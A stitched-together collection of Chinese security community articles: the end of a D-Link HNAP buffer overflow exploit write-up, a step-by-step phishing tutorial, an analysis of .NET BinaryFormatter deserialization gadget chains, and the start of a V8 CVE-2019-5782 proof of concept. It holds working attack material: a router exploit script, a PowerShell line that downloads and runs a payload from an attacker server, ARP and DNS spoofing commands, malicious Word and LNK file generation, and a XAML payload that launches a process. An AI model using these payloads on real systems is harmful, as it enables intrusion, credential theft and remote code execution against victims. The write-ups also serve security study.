SetWLanRadioSettings)，也就是不等于以上四者。最后设置环境变量 CONTENT_LENGTH 控制从标准输入读入到缓冲区的字节数目。
触发漏洞的调试脚本如下，补充说明一下需要将 qemu-mips-static 程序复制到固件的根目录下，这样 chroot 的时候才可以正确使用 qemu-mips-static 进行调试。
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"
STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
路由器上的程序安全措施通常非常简单，没有 NX 也没有 PIE，此处就直接使用 ret2syscall 来达到命令执行的操作，在 IDA 中使用
mipsrop 插件搜索合适的 gadget，决定使用 0x00405C5C 处。
.text:00405C5C la $t9, system
.text:00405C60 li $s1, loc_430000
.text:00405C64 jalr $t9 ; system
.text:00405C68 addiu $a0, $sp, 0x64+var_3C # command
当劫持了控制流执行到 gadget，堆栈已经从 do_hnap 函数中恢复了平衡，通过计算，system 函数执行的命令保存在相对于 buf 30064
个字节处，总结就是：buf 写入 30020 个字节之后可以覆盖返回地址到 gadget 0x00405c5c，再写入 40 个字节可以写入 system
函数执行的命令，那么先用 python 脚本写入一个 stdin 文件，然后在调试脚本中通过 cat 输出文件内容，通过管道传递给 qemu
# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
f.write(poc)
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"
cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
使用 gdb-multiarch 连接上 target remote :12345，然后在 do_hnap 函数恢复返回地址到 ra 寄存器处下断点 b
*0x431168，可以看到执行完当前指令后，ra 被写入为 gadget 地址 0x405c5c
继续单步调试到执行 gadget，调用 system 函数，执行的命令保存在 sp + 0x28 处。
可以看到成功命令执行，创建了 test 文件
## 漏洞利用
如上的漏洞复现调试是针对与 my_cgi.cgi，而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包，然后将数据通过环境变量以及
STDIN 传递给 my_cgi.cgi 进行处理，漏洞发生也是在这个地方，那么漏洞利用需要构造数据包向 lighttpd
传递。初次之外，还需要看固件支持哪些命令，例如此处的 busybox 支持的命令如下：
BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as!
Currently defined functions:
[, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
head, hostname, ifconfig, init, insmod, kill, killall, klogd,
linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
umount, uname, vconfig, vi, wc, wget, xargs, zcip
那么简洁版的 exp 如下，执行结果是直接写回了到返回数据包中。
import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)
通过 busybox 支持的命令也可以看到，有 telnetd，如果在实体机上要获取到一个可交互的 shell，那么可以开启设备的 telnet 服务。
## 个人小结
如下是个人觉得可以加深对于程序执行流程理解的一些点：
* do_hnap 函数中循环的控制及 MIPS 架构 s 系列寄存器的用法寄存器 s0~s7 通常是用来在子函数内部使用，如果在子函数内部还需要调用函数，那么需要将这些寄存器的值保存在栈上，执行完调用函数后进行恢复。例如 s0~s7 在 main 函数中使用，当 main 函数调用 do_hnap 的时候，在 do_hnap 函数的初始化堆栈时，将寄存器保存到了栈上。因此，我们在缓冲区溢出的时候，有时候不止可以控制 ra 寄存器，还可以控制 s 系列寄存器。
# do_hnap 函数初始化过程
.text:00430DAC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00430DB4 addu $gp, $t9
.text:00430DB8 addiu $sp, -0x7578
.text:00430DBC sw $ra, 0x7560+var_s14($sp)
.text:00430DC0 sw $s4, 0x7560+var_s10($sp)
.text:00430DC4 sw $s3, 0x7560+var_sC($sp)
.text:00430DC8 sw $s2, 0x7560+var_s8($sp)
.text:00430DCC sw $s1, 0x7560+var_s4($sp)
.text:00430DD0 sw $s0, 0x7560+var_s0($sp)
...
# do_hnap 函数执行完毕
.text:00431168 lw $ra, 0x7574($sp)
.text:0043116C move $v0, $s0
.text:00431170 lw $s4, 0x7570($sp)
.text:00431174 lw $s3, 0x756C($sp)
.text:00431178 lw $s2, 0x7568($sp)
.text:0043117C lw $s1, 0x7564($sp)
.text:00431180 lw $s0, 0x7560($sp)
.text:00431184 jr $ra
.text:00431188 addiu $sp, 0x7578
那么现在回归正题，do_hnap 函数是使用的 s0 指向 buf 的起始地址，s1 指向 buf 的结束位置，s3 指向标准输入的起始地址。循环的结构使用
IDA 的控制流图看的话，就非常简介明了。s0 先指向 buf 起始地址，每次调用 fgetc 读取一个字符保存到 s0，然后 s0
自加指向下一个位置，直到 s0 指向结束地址。
.text:00430F9C la $s3, stdin # 标准输入存储在 s3 寄存器
.text:00430FA0 move $s0, $a0 # s0：指针指向 buf 的起始位置
.text:00430FA4 addu $s1, $a0, $s1 # s1：指针指向 buf 的结束位置
...
.text:00431010 sb $v0, 0($s0) # 将从 fgetc 读取到的字符存储到缓冲区
.text:00431014 addiu $s0, 1 # s0 移动到缓冲区下一个位置
.text:00431018 bne $s0, $s1, loc_430FB4 # 比较进行跳转
* 关于 server 的启动命令分析可以分析固件文件系统的初始化启动脚本，通常在 /etc/rc* 文件或者目录下，就可以得到设备启动时执行了哪些初始化工作，例如挂载设备、创建文件等等。此处还有解压 html 文件，应该为了节省设备的存储空间，第一次启动的时候进行解压。
* 关于漏洞利用执行结果回显如果设备固件中带有一些可以进行交互的程序例如 sshd、telnetd 等服务，那么命令执行可以通过这些程序直接获取到一个可交互的 shell，如果没有，可以考虑把执行结果写回到设备的 www 目录中的文件，通过 http 服务访问命令执行结果。
## 参考链接
* [[exploit.db] D-Link HNAP – Request Remote Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/34064)
* [Hacking the D-Link DSP-W215 Smart Plug](http://en.hackdig.com/?739.htm)
* [[固件下载] DIR-505_REVA_FIRMWARE_1.07.ZIP](http://legacyfiles.us.dlink.com/DIR-505/REVA/FIRMWARE/DIR-505_REVA_FIRMWARE_1.07.ZIP)] | 社区文章 |
## 0x00. 闲谈
###
最近我们小组招新群里居然有人利用邮箱群发功能进行社工钓鱼，最奇葩的是居然还有人中招了，是可忍孰不可忍，千钧一发之际正当我准备祭出珍藏已久的Nmap打算搞死幕后黑手的时候，他她它居然把服务器关了，看来还是有准备的。如果不是没有酿成严重后果，我们绝对不会善罢甘休，光他暴露的IP就足够我们溯源追踪了，下面我也来给大家演示一下如何钓鱼和预防钓鱼陷阱。
## 0x01. 环境配置
### 1). 环境准备：
### 1\. kali linux（dnsspoof、arpspoof、setookit、metersploit、beef、Empire）
### 2\. windows xp
### 3\. window 7
# 情景一：
> 利用Java Applet 进行钓鱼，不过现在的浏览器已经开始禁止这些插件了，要利用这种情景最好先做好前期的信息收集，判断目标是否支持Java
> Applet
#### 第一步：下载最新的 setookit 工具包，也可以使用kali自带的S.E.T
> git clone <https://github.com/trustedsec/social-engineer-toolkit.git>
#### 第二步：配置JAVA REAPETER = ON 让基于Java Applet 的警告窗不停的弹出，使攻击更容易成功
> vim /etc/setoolkit/set.config
#### 第三步：启动setookit 构造钓鱼页面，成功启动之后会建立一个监听
> setookit
>
> 依次按照如下顺序：1 2 1 2 no 回车 2 www.baidu.com 1 443 1
#### 第四步：配置metasploit 设置自动迁移进程，避免钓鱼网站被关导致连接中断，同时设置持续监听
> kill 0
>
> set exitonsession false
>
> set autorunscript migrate -f
>
> run -j
#### 第五步：钓鱼网址已经上线，只等鱼儿上钩了（笔者的浏览器也不支持Java Applet
所以看不到具体效果，不过克隆的百度除了域名外其他都是一模一样的）
* * *
# 情景二：
> 利用浏览器漏洞和中间人攻击进行钓鱼，不过这个漏洞已经比较老了，笔者只在xp上成功过，不过这里提供一种思路，万一哪天IE又抽风来个CVE...
#### 第一步：启动setookit 构造钓鱼页面，成功启动之后会建立一个监听
> setookit
>
> 依次按照如下顺序：1 2 2 1 no 回车 5 37 2 443
#### 第二步：默认会使用本地的8080端口，但这并不是我们所期望的。kill掉此时的job重新启动一个
> kill 0
>
> set srvport 80
>
> set exitonsession false
>
> set autorunscript migrate -f
>
> run -j
####
第三步：此时可以直接将网址甩给目标，但是别人不一定会点开啊。于是我准备利用中间人攻击加DNS投毒强行让目标打开我们构造钓鱼页面，就是这么霸道\^o^，原理大家可以参考我这篇[文章](https://times0ng.github.io/2017/10/02/%E6%97%A0%E7%BA%BF%E6%B8%97%E9%80%8F-%E5%BA%8F%E7%AB%A0-%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/)
> echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -t 192.168.1.110 -r
> 192.168.1.1
>
> echo "192.168.1.111 *.wmpic.me" > dnsspoof.host && dnsspoof -i eth0 -f
> dnsspoof.host
>
>
> [*]进行DNS投毒时经常会失败，笔者对这种情况也有点不解，不过当我用xp的IE浏览器访问<http://hack.wmpic.me时还是成功被重定向到我们构造的http://192.168.1.111页面，msf成功getshell>
* * *
# 情景三：
> 钓鱼页面与beef结合，让鱼儿无处可逃
#### 第一步：启动setookit 构造钓鱼页面
> setookit
>
> 依次按照如下顺序：1 2 3 1 local IP(192.168.1.111) 5
#### 第二步：启动beef，将HOOK代码嵌入钓鱼页面
> vim ~/.set/web_clone/index.html
#### 第四步：通过社工让鱼儿访问我们的钓鱼页面，如果鱼儿输入账号密码就会将它们发送到我们的kali上
> <http://192.168.1.111>
#### 第五步：回到kali查看效果，可以看到beef已经收到回连，后续阶段大家自己"意淫"吧！
* * *
# 情景四：
> 利用最新的word漏洞CVE-2017-11882钓鱼
#### 第一步：下载EXP，并将EXP集成到msf的fileformat模块当中
> wget <https://raw.githubusercontent.com/realoriginal/metasploit-> framework/39a4d193a17c6f85846a58a429c0914f542bded2/modules/exploits/windows/fileformat/office_ms17_11882.rb>
>
> mv office_ms17_11882.rb /usr/share/metasploit-> framework/modules/exploits/windows/fileformat
#### 第二步：启动msf生成钓鱼word
> reload_all
>
> use exploit/windows/fileformat/office_ms17_11882
#### 第三步：此时可以将girlfriend.word直接发送给鱼儿，也可以发送网址，让他们自己下载，不过msf提供的web
server不太好用，下载的文件没有扩展名。我们也可以自己搭建web server，我比较懒就直接将word拖到win 7上去了
* * *
# 情景五：
> 利用windows自带的powershell进行钓鱼，即发送bat文件，并将payload放到远程服务器，这样在一定程度上可以绕过杀软
####
第一步：下载并安装Empire，这里有Empire详细的[使用教程](https://xianzhi.aliyun.com/forum/topic/67/)
> git clone <https://github.com/EmpireProject/Empire>
#### 第二步：启动Empire生成payload
> launcher powershell times0ng
#### 第三步：启动Apache2，并将payload源码放到根目录的empire.psl文件中
> service apache2 start
>
> vim /var/www/html/empire.psl
####
第四步：构造一个empire.bat文件作为钓鱼文件，当靶机执行此bat文件时就会自动去我们的server下载对应的payload，这样就不必将payload直接发送给靶机，这在一定程度上可以绕过杀软
> powershell -ExecutionPolicy Bypass IEX(New-Object
> Net.Webclient).DownloadString('<http://192.168.1.109/empire.psl>')
#### 第五步：通过邮件或者社工的方式将empire.bat发送给鱼儿钓鱼啦，一旦不小心双击运行就成功上钩
* * *
# 情景六：
> 利用USB社工钓鱼，记得当初看黑客军团时里面的黑客小姐姐就是利用BadUSB加社工黑进监狱的
#### 第一步：利用msf生成攻击向量
> use exploit/windows/fileformat/cve_2017_8464_lnk_rce
#### 第二步：将攻击向量放到USB中，并启动msf监听
#### 第三步：打开USB，因为笔者是个穷学生使用的不是BadUSB所以里面的文件不会自动执行，这里需要我手动运行
* * *
## 0x02. 防御建议
### [*] 多了解攻击手段，以攻代防，知己知彼
### [*] 不要轻易打开任何可执行文件
### [*] 不要轻易点击陌生链接
## 0x03. 结语
### 网络钓鱼的花招千奇百怪，可谓大千世界无奇不有，但也不必总是如履薄冰，多看看多学学就不会那么轻易的成为别人的肉鸡了... | 社区文章 |
# BinaryFormatter
BinaryFormatter将对象序列化为二进制流，命名空间位于`System.Runtime.Serialization.Formatters.Binary`。[微软文档](https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide)也已经标注了使用BinaryFormatter会造成严重的RCE漏洞。
# 命名空间结构
观察其实现，发现其有多个序列化和反序列化方法，并实现IRemotingFormatter,
IFormatter两个接口，序列化和反序列化的用法，以及代理选择器在第一节《dotnet serialize 101》中已经讲解过，这里不再赘述。
# 攻击链
ysoserial.net中所有的gadget都支持BinaryFormatter，其原因必须提到TextFormattingRunProperties链，也得益于TextFormattingRunProperties链条而衍生出多个其他链。接下来我们来看几个ysoserial.net的反序列化链。
## TextFormattingRunProperties
查看ysoserial.net中TextFormattingRunPropertiesGenerator生成类的定义，发现TextFormattingRunPropertiesMarshal类对象实现了对TextFormattingRunProperties类的重定义序列化过程，将`_xaml`字段赋值给`ForegroundBrush`字段。
使用dnspy反编译看下ForegroundBrush字段到底有什么猫腻。该DLL位置在ysoserial.net工具中就有，路径为`ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll`。
测试代码如下，编译出来使用dnspy调试。
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
class Program
{
static void Main(string[] args)
{
string xaml_payload = File.ReadAllText(@"C:\Users\ddd\source\repos\xml.txt");
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
Console.ReadKey();
}
}
}
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
引用`ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll`时项目的dotnet版本应为dotnet4.5
找到命名空间`Microsoft.VisualStudio.Text.Formatting`，在序列化构造函数中下一个断点。
发现TextFormattingRunProperties实现ISerializable接口，在其序列化的构造函数中，进行`this.GetObjectFromSerializationInfo("ForegroundBrush",
info)`。跟进看下
看见了什么？`XamlReader.Parse(@string)`，那这就接上了我们前文《XmlSerializer》中的ObjectDataProvider的链。
如此一来整个链就通了：
1. 自写一个TextFormattingRunPropertiesMarshal类实现ISerializable接口
2. 在GetObjectData序列化时给ForegroundBrush字段赋值为xaml的payload，并且将对象类型赋值为TextFormattingRunProperties类。
3. 在反序列化时触发反序列化构造函数
4. 反序列化构造函数触发XamlReader.Parse(payload) RCE
限制在于Microsoft.PowerShell.Editor.dll。原作者说明：
> 该库是PowerShell的一部分，该PowerShell已预安装在从Windows Server 2008 R2和Windows
> 7开始的所有Windows版本中。
## DataSet
看下ysoserial.net的payload
[Serializable]
public class DataSetMarshal : ISerializable
{
byte[] _fakeTable;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);
}
public void SetFakeTable(byte[] bfPayload)
{
_fakeTable = bfPayload;
}
public DataSetMarshal(byte[] bfPayload)
{
SetFakeTable(bfPayload);
}
public DataSetMarshal(object fakeTable):this(fakeTable, new InputArgs())
{
// This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification)
}
public DataSetMarshal(object fakeTable, InputArgs inputArgs)
{
MemoryStream stm = new MemoryStream();
if (inputArgs.Minify)
{
ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter();
fmtLocal.Serialize(stm, fakeTable);
}
else
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stm, fakeTable);
}
SetFakeTable(stm.ToArray());
}
public DataSetMarshal(MemoryStream ms)
{
SetFakeTable(ms.ToArray());
}
}
public class DataSetGenerator:GenericGenerator
{
public override object Generate(string formatter, InputArgs inputArgs)
{
byte[] init_payload = (byte[]) new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
DataSetMarshal payloadDataSetMarshal = new DataSetMarshal(init_payload);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)
|| formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)
|| formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase))
{
return Serialize(payloadDataSetMarshal, formatter, inputArgs);
}
else
{
throw new Exception("Formatter not supported");
}
}
}
生成序列化数据的GetObjectData方法做了以下操作
1. type设置为System.Data.DataSet
2. DataSet.RemotingFormat 设置为binary格式
3. 将DataSet.Tables_0设置为序列化之后的TextFormattingRunPropertiesGenerator byte数组
4. DataSet.Tables.Count 赋值为1
那么反序列化的时候我们需要关注DataSet类的序列化构造函数，分析如下
在DataSet的序列化构造函数采用了this()方法重载`DataSet(SerializationInfo info, StreamingContext
context, bool ConstructSchema)`
默认赋值serializationFormat和schemaSerializationMode分别为Xml和IncludeSchema。然后遍历info信息判断赋值DataSet.RemotingFormat为Binary
SchemaSerializationMode.DataSet在我们构造的反序列化对象中并不存在，所以仍会保持值为`SchemaSerializationMode.IncludeSchema`。当DataSet.RemotingFormat为Binary时会进入`this.DeserializeDataSet(info,
context, serializationFormat, schemaSerializationMode);`
这个方法中会反序列化Schema和对应的Data
当schemaSerializationMode==SchemaSerializationMode.IncludeSchema时会进行BinaryFormatter.Deserialize()，条件满足，所以这时候需要看下memoryStream中buffer的来源。
byte[] buffer = (byte[])info.GetValue(string.Format(CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[] { i }), typeof(byte[]));
其中i来自`int @int =
info.GetInt32("DataSet.Tables.Count");`，所以`info.GetValue()`取的是DataSet.Tables_0字段的值，类型为byte数组。而在294行还有一步`this.DeserializeDataSetProperties(info,
context);`
在这里get了一些结构的信息，这里我们构造的时候也要加上，不然294行会报错，导致走不到Deserialize()。
那么现在就清晰了，DataSet.Tables_0字段的byte数组会被自动反序列化，我们可以将TextFormattingRunProperties生成的byte数组赋值给DataSet.Tables_0字段，然后就可以RCE了。
整个流程：
1. 生成TextFormattingRunProperties的payload转byte数组存放到DataSet.Tables_0字段
2. 填充DataSet的其他字段满足反序列化条件使其不报错
3. 进入DataSet的反序列化构造函数DeserializeDataSet 该函数自动反序列化其中的Schema和Data
4. 在DeserializeDataSetSchema()中获取DataSet.Tables_0字段的值进行BinaryFormatter.Deserialize()。
这条链的限制也很明了，依赖于TextFormattingRunProperties。
## TypeConfuseDelegate
TypeConfuseDelegate中文翻译过来叫类型混淆委托。那么学习这条链之前必须要了解什么是委托。
### 委托和多播委托
委托本质上是一个存有方法引用的变量，我们来创建一个委托。
class Program
{
public delegate void MyDelegate(string s);
public static void PrintString(string s)
{
Console.WriteLine(s);
}
static void Main(string[] args)
{
MyDelegate myDelegate = new MyDelegate(PrintString);
myDelegate("hello from delegate");
}
}
**需要注意的是传递给委托的方法签名必须和定义的委托签名一致，即返回值、参数一致。**
通过new
MyDelegate(PrintString)将PrintString的引用赋值给myDelegate，然后使用myDelegate("hello from
delegate")传递参数。myDelegate持有对PrintString的引用。
多播委托则是持有对委托列表的引用，把多播委托想象成一个列表，将委托的方法加入列表中，多播委托会按顺序依次调用每个委托。
class Program
{
public delegate void MyDelegate(string s);
public static void PrintString(string s)
{
Console.WriteLine($"print {s} to screen.");
}
public static void WriteToFile(string s)
{
Console.WriteLine($"write {s} to file.");
}
static void Main(string[] args)
{
MyDelegate myDelegate = new MyDelegate(PrintString);
MyDelegate myDelegate1 = new MyDelegate(WriteToFile);
myDelegate += myDelegate1;
myDelegate("hello");
}
}
// 输出
print hello to screen.
write hello to file.
通过+=的形式添加多个委托，执行myDelegate("hello")调用了PrintString和WriteToFile两个方法。不仅仅可以用+=的形式来合并委托，还可以用MulticastDelegate.Combine(printString,
writeFile)的形式。
static void Main(string[] args)
{
MyDelegate printString = new MyDelegate(PrintString);
MyDelegate writeFile = new MyDelegate(WriteToFile);
Delegate twoDelegte = MulticastDelegate.Combine(printString, writeFile);
twoDelegte.DynamicInvoke("something");
Delegate[] delegates = twoDelegte.GetInvocationList();
foreach (var item in delegates)
{
Console.WriteLine(item.Method);
}
}
// 输出
print something to screen.
write something to file.
Void PrintString(System.String)
Void WriteToFile(System.String)
通过多播委托的twoDelegte.GetInvocationList()可以得到委托的列表。
接下来来看TypeConfuseDelegate这条链。
在ysoserial.net中的实现是通过`SortedSet<T>`和Comparer进行利用的。SortedSet是一个可以排序的泛型集合，既然涉及到排序，那么肯定涉及到排序的规则，即比较器Comparer。
### SortedSet和Comparer
先来看微软文档中非常简单的一个例子
using System;
using System.Collections;
using System.Collections.Generic;
namespace BinaryFormatterSerialize
{
public class ByFileExtension : IComparer<string>
{
string xExt, yExt;
CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer();
public int Compare(string x, string y)
{
// Parse the extension from the file name.
xExt = x.Substring(x.LastIndexOf(".") + 1);
yExt = y.Substring(y.LastIndexOf(".") + 1);
// Compare the file extensions.
int vExt = caseiComp.Compare(xExt, yExt);
if (vExt != 0)
{
return vExt;
}
else
{
// The extension is the same,
// so compare the filenames.
return caseiComp.Compare(x, y);
}
}
}
class Program
{
public static void Main(string[] args)
{
var set = new SortedSet<string>(new ByFileExtension());
set.Add("test.c");
set.Add("test.b");
set.Add("test.a");
foreach (var item in set)
{
Console.WriteLine(item.ToString());
}
Console.ReadKey();
}
}
}
// 输出
test.a
test.b
test.c
可见向set集合中添加的test.c、test.b、test.a按照后缀被自动排序。这里需要注意，自动排序的前提是必须要有两个以上的元素，即第二次添加的时候才会自动排序。
再来看自写的ByFileExtension()比较器，实现了`IComparer<string>`接口，重写Compare()方法，返回一个int值。
此时回头看ysoserial.net中的代码
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
用到了一个Comparison类
该类继承自`Comparer<T>`抽象类，其Compare接收两个泛型参数，构造函数中赋值`_comparison`，`_comparison`是一个`Comparison<in
T>`委托类型，其函数签名与比较函数相同。
而`Comparer<T>`抽象类实现了`IComparer<T>`接口
两个类均可用来序列化。
此时思考一下，Process.Start中有多个重载。
如果我们将Process.Start设置为比较器，那么向集合中添加的值就是Process.Start的参数，由此来进行命令执行。在委托中我们提到，委托的方法签名和委托必须一致，而对于`SortedSet<string>`类来说，其比较函数类型为：
int Comparison<in T>(T x, T y);
而Process.Start()的是：
public static Process Start(string fileName, string arguments);
两个比较函数的返回类型不一致，一个是Process，一个是int，如果直接用Process.Start作为比较器，会编译失败。那么这个时候我们就需要借助多播委托了。
// 创建一个string的比较器
Delegate da = new Comparison<string>(String.Compare);
// 用两个string的比较器合并为一个多播委托
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
// Create()函数返回new ComparisonComparer<T>(d)
IComparer<string> comp = Comparer<string>.Create(d);
// 将ComparisonComparer赋值给SortedSet的比较器
SortedSet<string> set = new SortedSet<string>(comp);
// set.Add("cmd.exe")
set.Add(inputArgs.CmdFileName);
// set.Add("calc")
set.Add(inputArgs.CmdArguments);
// 反射修改_invocationList
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// 修改_invocationList 添加 Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
至于为什么多播委托可以解决方法签名不一致的问题，原作者给出的解释如下：
> The only weird thing about this code is TypeConfuseDelegate. It’s a long
> standing issue that .NET delegates don’t always enforce their type
> signature, especially the return value. In this case we create a two entry
> multicast delegate (a delegate which will run multiple single delegates
> sequentially), setting one delegate to String::Compare which returns an int,
> and another to Process::Start which returns an instance of the Process
> class. This works, even when deserialized and invokes the two separate
> methods. It will then return the created process object as an integer, which
> just means it will return the pointer to the instance of the process object.
简单理解就是多播委托传递的是指针。
在SortedSet中OnDeserialization会在反序列化时触发，调用Add函数
而在Add的时候，经过多次重载调用了比较器的Compare()方法。即我们反射修改的Process.Start(string,string)
整个链条
至此分析就结束了。另外需要注意的是，`Comparer<string>.Create(c)`该函数在dotnet4.5中才出现，低版本的dotnet无法利用成功。
# 审计
BinaryFormatter有多个反序列化方法重载，审计时应多加关注。
# 后文
本节讲解了BinaryFormatter在反序列化中的使用及TextFormattingRunProperties和DataSet两条反序列化利用链。 | 社区文章 |
# Chrome issue 906043（CVE-2019-5782）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0 环境与背景知识
#### 0.1 环境
下面是chrome的bug网站关于这个issue的内容
[https://bugs.chromium.org/p/chromium/issues/detail?id=906043&q=906043&can=2](https://bugs.chromium.org/p/chromium/issues/detail?id=906043&q=906043&can=2)
在下面的commit中,找到一个含有漏洞的版本
之后使用ninja进行编译 version 7.2.0
#### 0.2 背景知识
JavaScirpt中有一个用来查看传递参数个数的方法
arguments.length <====
arguments.length表示的是实际上向函数传入了多少个参数,这个数字可以比形参数量大,也可以比形参数量小(形参数量的值可以通过Function.length获取到).
比如下面的例子中
function imagePreload()
{
var imgPreload = new Image();
for (i = 0; i < arguments.length; i++)
{
imgPreload.src = arguments[i];
}
}
imagePreload(’001.gif’, ’002.gif’, ’003.gif’, ’004.gif’, ’005.gif’)
arguments.length 的值为5
这里还要介绍一个技巧
function test(args)
{
Array.prototype.fill();
let idx = arguments.length;
print(idx);
}
let arr = [1.0,1.1];
arr.length = 0x100;
arr.fill(1.2);
print(...arr)
test(...arr);
这里test函数的参数是arr数组中的每一个元素,我们这样写,实际上传递的参数长度为0x100
## 1 漏洞分析
#### 1.0 优化时的分析
在type-cache.h中对参数的长度是这样计算的
参数的长度Range(0,kMaxArguments)
对应的找一下kMaxArguments的数值(code.h文件)
综合源码中上面的两处可以得到,优化时 参数的范围(0,1<<16-2)
#### 1.1 运行时分析
这里写了一个测试脚本
function test(args)
{
// Array.prototype.fill();
let idx = arguments.length;
print(idx);
}
let arr = [1.0,1.1];
arr.length = 0x100;
arr.fill(1.2);
// print(...arr);
test(...arr);
传递参数大小为0x100,在函数内部得到参数的长度并输出,结果是下面的256
u18@u18-oVirt-Node:~/v8_build/v8/v8/out.gn/x64.release$ ./d8 ../test.js
256
#### 1.2 总结
同样用一个表格总结一下想法操作(虽然这个表格现在有一部分不对的地方,后面poc中进行了修改)
(这里假设传进去的长度为1<<16)
操作 | 优化时情况 | 运行时情况
---|---|---
let idx = arguments.length | Range(0,1<<16-2) | 1<<16
idx >>= 16 | Range(0,0) | 1
idx *= 1337 | Range(0,0) | 1337
优化时得到的结果是Range(0,0),运行时可以访问更大的范围
造成OOB
## 2 POC
根据上面的表格与之前的test函数很容易写出poc
#### poc.js
tujiefunction foo(args)
{
// Array.prototype.fill();
let idx = arguments.length;
idx >>= 16;
idx *= 1337;
print(idx);
let oobArray = [1.0,1.1,1.2,1.3];
// return oobArray[idx];
print(oobArray[idx])
// oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
// return oobArray;
}
let f_arr = [1.0];
let arr = [1.0,1.1];
arr.length = 1<<16;
arr.fill(1.2);
foo(f_arr);
foo(f_arr);
%OptimizeFunctionOnNextCall(foo);
// print(...arr);
foo(...arr);
首先给一个长度为1的数组作为参数,前两次调用肯定是返回1.0,idx=0
